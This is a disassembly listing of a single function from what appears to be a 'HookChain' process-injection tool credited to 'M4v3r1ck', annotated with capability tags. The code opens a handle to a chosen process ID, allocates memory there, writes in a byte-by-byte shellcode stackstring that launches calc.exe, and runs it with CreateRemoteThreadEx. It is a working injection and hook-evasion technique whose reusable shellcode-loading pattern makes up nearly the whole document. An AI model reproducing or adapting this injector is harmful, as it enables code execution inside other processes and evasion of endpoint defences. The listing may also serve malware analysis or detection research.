Function at 0x140011082
Capabilities:
Contain obfuscated stackstrings
Create thread
Parse pe header

Disassembly:
jmp 0x140017540
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x6a0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x108
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6c8]
mov rax, qword [0x140029098]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x14004016c]
call fcn.140011dc0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0xffffffffffffffff
mov dword [rbp + 0x64], 0
cmp dword [rbp + 0x680], 2
jl 0x1400175ed
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x688]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x1400175ed
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x688]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x140017642
lea rcx, str.Type_the_pid:__n
call fcn.140011636
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, rax
mov edx, 7
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll_fgets]
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x140017642
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x14001765e
lea rcx, str.____Failed_to_get_PID_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
lea rcx, str._n___Creating_HookChain_implants_n
call fcn.140011636
call fcn.140011299
test eax, eax
jne 0x140017689
lea rcx, str.____Failed_to_initialize_API_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
lea rcx, str._n___HookChain_implanted__o__n_n
call fcn.140011636
mov edx, dword [rbp + 0x64]
lea rcx, str.___Creating_Handle_onto_PID__d_n
call fcn.140011636
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov r8d, 0x30
mov edx, 8
mov rcx, qword [rax + 0x30]
call fcn.1400117f8
mov qword [rbp + 0xa8], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov r8d, 0x10
mov edx, 8
mov rcx, qword [rax + 0x30]
call fcn.1400117f8
mov qword [rbp + 0xc8], rax
mov eax, dword [rbp + 0x64]
mov rcx, qword [rbp + 0xc8]
mov qword [rcx], rax
lea rcx, str.___ClientId
call fcn.140011636
mov r9, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xa8]
mov edx, 0x2a
lea rcx, [rbp + 0x48]
call fcn.1400113b1
test eax, eax
je 0x14001774b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_OP:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
mov rdx, qword [rbp + 0x48]
lea rcx, str.___Allocating_memory_at_Handle_0x_p_n
call fcn.140011636
mov qword [rbp + 0xe8], 0x1000
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xe8]
xor r8d, r8d
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
call fcn.140011ece
test eax, eax
je 0x1400177af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_VA_shellAddress_:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
lea rcx, str.___Injecting_remote_shellcode_n
call fcn.140011636
lea rax, [rbp + 0x110]
lea rcx, str.Message_Box_created_from_HookChain
mov rdi, rax
mov rsi, rcx
mov ecx, 0x46
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x178]
lea rcx, str.Process_injected_MessageBox
mov rdi, rax
mov rsi, rcx
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x28]
add rax, 0x100
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x28]
add rax, 0x200
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x228], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x46
lea r8, [rbp + 0x110]
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140017878
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_WPM_Text_:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
mov qword [rsp + 0x20], 0
mov r9d, 0x38
lea r8, [rbp + 0x178]
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400178c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_WPM_Caption_:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
lea rdx, str.MessageBoxW
lea rcx, str.User32
call fcn.14001175d
mov qword [rbp + 0x248], rax
lea rax, [rbp + 0x248]
mov qword [rbp + 0x268], rax
lea rdx, str.TerminateThread
lea rcx, str.Kernel32
call fcn.14001175d
mov qword [rbp + 0x288], rax
lea rax, [rbp + 0x288]
mov qword [rbp + 0x2a8], rax
mov byte [rbp + 0x2d0], 0xfc
mov byte [rbp + 0x2d1], 0x48
mov byte [rbp + 0x2d2], 0x83
mov byte [rbp + 0x2d3], 0xe4
mov byte [rbp + 0x2d4], 0xf0
mov byte [rbp + 0x2d5], 0xe8
mov byte [rbp + 0x2d6], 0xc0
mov byte [rbp + 0x2d7], 0
mov byte [rbp + 0x2d8], 0
mov byte [rbp + 0x2d9], 0
mov byte [rbp + 0x2da], 0x41
mov byte [rbp + 0x2db], 0x51
mov byte [rbp + 0x2dc], 0x41
mov byte [rbp + 0x2dd], 0x50
mov byte [rbp + 0x2de], 0x52
mov byte [rbp + 0x2df], 0x51
mov byte [rbp + 0x2e0], 0x56
mov byte [rbp + 0x2e1], 0x48
mov byte [rbp + 0x2e2], 0x31
mov byte [rbp + 0x2e3], 0xd2
mov byte [rbp + 0x2e4], 0x65
mov byte [rbp + 0x2e5], 0x48
mov byte [rbp + 0x2e6], 0x8b
mov byte [rbp + 0x2e7], 0x52
mov byte [rbp + 0x2e8], 0x60
mov byte [rbp + 0x2e9], 0x48
mov byte [rbp + 0x2ea], 0x8b
mov byte [rbp + 0x2eb], 0x52
mov byte [rbp + 0x2ec], 0x18
mov byte [rbp + 0x2ed], 0x48
mov byte [rbp + 0x2ee], 0x8b
mov byte [rbp + 0x2ef], 0x52
mov byte [rbp + 0x2f0], 0x20
mov byte [rbp + 0x2f1], 0x48
mov byte [rbp + 0x2f2], 0x8b
mov byte [rbp + 0x2f3], 0x72
mov byte [rbp + 0x2f4], 0x50
mov byte [rbp + 0x2f5], 0x48
mov byte [rbp + 0x2f6], 0xf
mov byte [rbp + 0x2f7], 0xb7
mov byte [rbp + 0x2f8], 0x4a
mov byte [rbp + 0x2f9], 0x4a
mov byte [rbp + 0x2fa], 0x4d
mov byte [rbp + 0x2fb], 0x31
mov byte [rbp + 0x2fc], 0xc9
mov byte [rbp + 0x2fd], 0x48
mov byte [rbp + 0x2fe], 0x31
mov byte [rbp + 0x2ff], 0xc0
mov byte [rbp + 0x300], 0xac
mov byte [rbp + 0x301], 0x3c
mov byte [rbp + 0x302], 0x61
mov byte [rbp + 0x303], 0x7c
mov byte [rbp + 0x304], 2
mov byte [rbp + 0x305], 0x2c
mov byte [rbp + 0x306], 0x20
mov byte [rbp + 0x307], 0x41
mov byte [rbp + 0x308], 0xc1
mov byte [rbp + 0x309], 0xc9
mov byte [rbp + 0x30a], 0xd
mov byte [rbp + 0x30b], 0x41
mov byte [rbp + 0x30c], 1
mov byte [rbp + 0x30d], 0xc1
mov byte [rbp + 0x30e], 0xe2
mov byte [rbp + 0x30f], 0xed
mov byte [rbp + 0x310], 0x52
mov byte [rbp + 0x311], 0x41
mov byte [rbp + 0x312], 0x51
mov byte [rbp + 0x313], 0x48
mov byte [rbp + 0x314], 0x8b
mov byte [rbp + 0x315], 0x52
mov byte [rbp + 0x316], 0x20
mov byte [rbp + 0x317], 0x8b
mov byte [rbp + 0x318], 0x42
mov byte [rbp + 0x319], 0x3c
mov byte [rbp + 0x31a], 0x48
mov byte [rbp + 0x31b], 1
mov byte [rbp + 0x31c], 0xd0
mov byte [rbp + 0x31d], 0x8b
mov byte [rbp + 0x31e], 0x80
mov byte [rbp + 0x31f], 0x88
mov byte [rbp + 0x320], 0
mov byte [rbp + 0x321], 0
mov byte [rbp + 0x322], 0
mov byte [rbp + 0x323], 0x48
mov byte [rbp + 0x324], 0x85
mov byte [rbp + 0x325], 0xc0
mov byte [rbp + 0x326], 0x74
mov byte [rbp + 0x327], 0x67
mov byte [rbp + 0x328], 0x48
mov byte [rbp + 0x329], 1
mov byte [rbp + 0x32a], 0xd0
mov byte [rbp + 0x32b], 0x50
mov byte [rbp + 0x32c], 0x8b
mov byte [rbp + 0x32d], 0x48
mov byte [rbp + 0x32e], 0x18
mov byte [rbp + 0x32f], 0x44
mov byte [rbp + 0x330], 0x8b
mov byte [rbp + 0x331], 0x40
mov byte [rbp + 0x332], 0x20
mov byte [rbp + 0x333], 0x49
mov byte [rbp + 0x334], 1
mov byte [rbp + 0x335], 0xd0
mov byte [rbp + 0x336], 0xe3
mov byte [rbp + 0x337], 0x56
mov byte [rbp + 0x338], 0x48
mov byte [rbp + 0x339], 0xff
mov byte [rbp + 0x33a], 0xc9
mov byte [rbp + 0x33b], 0x41
mov byte [rbp + 0x33c], 0x8b
mov byte [rbp + 0x33d], 0x34
mov byte [rbp + 0x33e], 0x88
mov byte [rbp + 0x33f], 0x48
mov byte [rbp + 0x340], 1
mov byte [rbp + 0x341], 0xd6
mov byte [rbp + 0x342], 0x4d
mov byte [rbp + 0x343], 0x31
mov byte [rbp + 0x344], 0xc9
mov byte [rbp + 0x345], 0x48
mov byte [rbp + 0x346], 0x31
mov byte [rbp + 0x347], 0xc0
mov byte [rbp + 0x348], 0xac
mov byte [rbp + 0x349], 0x41
mov byte [rbp + 0x34a], 0xc1
mov byte [rbp + 0x34b], 0xc9
mov byte [rbp + 0x34c], 0xd
mov byte [rbp + 0x34d], 0x41
mov byte [rbp + 0x34e], 1
mov byte [rbp + 0x34f], 0xc1
mov byte [rbp + 0x350], 0x38
mov byte [rbp + 0x351], 0xe0
mov byte [rbp + 0x352], 0x75
mov byte [rbp + 0x353], 0xf1
mov byte [rbp + 0x354], 0x4c
mov byte [rbp + 0x355], 3
mov byte [rbp + 0x356], 0x4c
mov byte [rbp + 0x357], 0x24
mov byte [rbp + 0x358], 8
mov byte [rbp + 0x359], 0x45
mov byte [rbp + 0x35a], 0x39
mov byte [rbp + 0x35b], 0xd1
mov byte [rbp + 0x35c], 0x75
mov byte [rbp + 0x35d], 0xd8
mov byte [rbp + 0x35e], 0x58
mov byte [rbp + 0x35f], 0x44
mov byte [rbp + 0x360], 0x8b
mov byte [rbp + 0x361], 0x40
mov byte [rbp + 0x362], 0x24
mov byte [rbp + 0x363], 0x49
mov byte [rbp + 0x364], 1
mov byte [rbp + 0x365], 0xd0
mov byte [rbp + 0x366], 0x66
mov byte [rbp + 0x367], 0x41
mov byte [rbp + 0x368], 0x8b
mov byte [rbp + 0x369], 0xc
mov byte [rbp + 0x36a], 0x48
mov byte [rbp + 0x36b], 0x44
mov byte [rbp + 0x36c], 0x8b
mov byte [rbp + 0x36d], 0x40
mov byte [rbp + 0x36e], 0x1c
mov byte [rbp + 0x36f], 0x49
mov byte [rbp + 0x370], 1
mov byte [rbp + 0x371], 0xd0
mov byte [rbp + 0x372], 0x41
mov byte [rbp + 0x373], 0x8b
mov byte [rbp + 0x374], 4
mov byte [rbp + 0x375], 0x88
mov byte [rbp + 0x376], 0x48
mov byte [rbp + 0x377], 1
mov byte [rbp + 0x378], 0xd0
mov byte [rbp + 0x379], 0x41
mov byte [rbp + 0x37a], 0x58
mov byte [rbp + 0x37b], 0x41
mov byte [rbp + 0x37c], 0x58
mov byte [rbp + 0x37d], 0x5e
mov byte [rbp + 0x37e], 0x59
mov byte [rbp + 0x37f], 0x5a
mov byte [rbp + 0x380], 0x41
mov byte [rbp + 0x381], 0x58
mov byte [rbp + 0x382], 0x41
mov byte [rbp + 0x383], 0x59
mov byte [rbp + 0x384], 0x41
mov byte [rbp + 0x385], 0x5a
mov byte [rbp + 0x386], 0x48
mov byte [rbp + 0x387], 0x83
mov byte [rbp + 0x388], 0xec
mov byte [rbp + 0x389], 0x20
mov byte [rbp + 0x38a], 0x41
mov byte [rbp + 0x38b], 0x52
mov byte [rbp + 0x38c], 0xff
mov byte [rbp + 0x38d], 0xe0
mov byte [rbp + 0x38e], 0x58
mov byte [rbp + 0x38f], 0x41
mov byte [rbp + 0x390], 0x59
mov byte [rbp + 0x391], 0x5a
mov byte [rbp + 0x392], 0x48
mov byte [rbp + 0x393], 0x8b
mov byte [rbp + 0x394], 0x12
mov byte [rbp + 0x395], 0xe9
mov byte [rbp + 0x396], 0x57
mov byte [rbp + 0x397], 0xff
mov byte [rbp + 0x398], 0xff
mov byte [rbp + 0x399], 0xff
mov byte [rbp + 0x39a], 0x5d
mov byte [rbp + 0x39b], 0x48
mov byte [rbp + 0x39c], 0xba
mov byte [rbp + 0x39d], 1
mov byte [rbp + 0x39e], 0
mov byte [rbp + 0x39f], 0
mov byte [rbp + 0x3a0], 0
mov byte [rbp + 0x3a1], 0
mov byte [rbp + 0x3a2], 0
mov byte [rbp + 0x3a3], 0
mov byte [rbp + 0x3a4], 0
mov byte [rbp + 0x3a5], 0x48
mov byte [rbp + 0x3a6], 0x8d
mov byte [rbp + 0x3a7], 0x8d
mov byte [rbp + 0x3a8], 1
mov byte [rbp + 0x3a9], 1
mov byte [rbp + 0x3aa], 0
mov byte [rbp + 0x3ab], 0
mov byte [rbp + 0x3ac], 0x41
mov byte [rbp + 0x3ad], 0xba
mov byte [rbp + 0x3ae], 0x31
mov byte [rbp + 0x3af], 0x8b
mov byte [rbp + 0x3b0], 0x6f
mov byte [rbp + 0x3b1], 0x87
mov byte [rbp + 0x3b2], 0xff
mov byte [rbp + 0x3b3], 0xd5
mov byte [rbp + 0x3b4], 0xbb
mov byte [rbp + 0x3b5], 0xf0
mov byte [rbp + 0x3b6], 0xb5
mov byte [rbp + 0x3b7], 0xa2
mov byte [rbp + 0x3b8], 0x56
mov byte [rbp + 0x3b9], 0x41
mov byte [rbp + 0x3ba], 0xba
mov byte [rbp + 0x3bb], 0xa6
mov byte [rbp + 0x3bc], 0x95
mov byte [rbp + 0x3bd], 0xbd
mov byte [rbp + 0x3be], 0x9d
mov byte [rbp + 0x3bf], 0xff
mov byte [rbp + 0x3c0], 0xd5
mov byte [rbp + 0x3c1], 0x48
mov byte [rbp + 0x3c2], 0x83
mov byte [rbp + 0x3c3], 0xc4
mov byte [rbp + 0x3c4], 0x28
mov byte [rbp + 0x3c5], 0x3c
mov byte [rbp + 0x3c6], 6
mov byte [rbp + 0x3c7], 0x7c
mov byte [rbp + 0x3c8], 0xa
mov byte [rbp + 0x3c9], 0x80
mov byte [rbp + 0x3ca], 0xfb
mov byte [rbp + 0x3cb], 0xe0
mov byte [rbp + 0x3cc], 0x75
mov byte [rbp + 0x3cd], 5
mov byte [rbp + 0x3ce], 0xbb
mov byte [rbp + 0x3cf], 0x47
mov byte [rbp + 0x3d0], 0x13
mov byte [rbp + 0x3d1], 0x72
mov byte [rbp + 0x3d2], 0x6f
mov byte [rbp + 0x3d3], 0x6a
mov byte [rbp + 0x3d4], 0
mov byte [rbp + 0x3d5], 0x59
mov byte [rbp + 0x3d6], 0x41
mov byte [rbp + 0x3d7], 0x89
mov byte [rbp + 0x3d8], 0xda
mov byte [rbp + 0x3d9], 0xff
mov byte [rbp + 0x3da], 0xd5
mov byte [rbp + 0x3db], 0x63
mov byte [rbp + 0x3dc], 0x61
mov byte [rbp + 0x3dd], 0x6c
mov byte [rbp + 0x3de], 0x63
mov byte [rbp + 0x3df], 0x2e
mov byte [rbp + 0x3e0], 0x65
mov byte [rbp + 0x3e1], 0x78
mov byte [rbp + 0x3e2], 0x65
mov byte [rbp + 0x3e3], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x114
lea r8, [rbp + 0x2d0]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400180d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_WriteProcessMemory_Shellcode_:_Status__0x_08lx_n
call fcn.140011636
lea rcx, str.___Calling_CreateRemoteThreadEx_n
call fcn.140011636
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x408], rax
cmp qword [rbp + 0x408], 0
jne 0x140018147
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_CRT:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140018161
lea rcx, str.___Shellcode_OK__n
call fcn.140011636
lea rcx, str._n_n______________________________________________________________________n______________________________________________________n_____________________________________________________n__________________________________________________________By_M4v3r1ck_n_n
call fcn.140011636
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400259c0]
call fcn.140011b31
mov rax, rdi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.140011663
lea rsp, [rbp + 0x660]
pop rdi
pop rsi
pop rbp
ret